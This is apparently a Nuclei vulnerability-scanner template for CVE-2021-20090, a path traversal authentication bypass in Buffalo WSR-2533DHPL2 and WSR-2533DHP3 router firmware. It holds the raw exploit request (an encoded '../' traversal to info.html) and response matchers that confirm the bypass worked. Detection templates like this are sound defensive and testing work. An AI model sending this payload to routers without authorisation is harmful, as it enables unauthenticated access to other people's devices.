nuclei-templates/cves/2021/CVE-2021-20090.yaml

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id: CVE-2021-20090
info:
name: Buffalo WSR-2533DHPL2 - Path Traversal
author: gy741
severity: critical
description: |
A path traversal vulnerability in the web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 could allow unauthenticated remote attackers to bypass authentication.
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reference: |
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- https://nvd.nist.gov/vuln/detail/CVE-2021-20090
- https://www.tenable.com/security/research/tra-2021-13
- https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2
tags: cve,cve2021,lfi,buffalo,firmware,iot
requests:
- raw:
- |
GET /images/..%2finfo.html HTTP/1.1
Host: {{Hostname}}
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Referer: {{BaseURL}}/info.html
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matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- 'URLToken(cgi_path)'
- 'pppoe'
- 'wan'
condition: and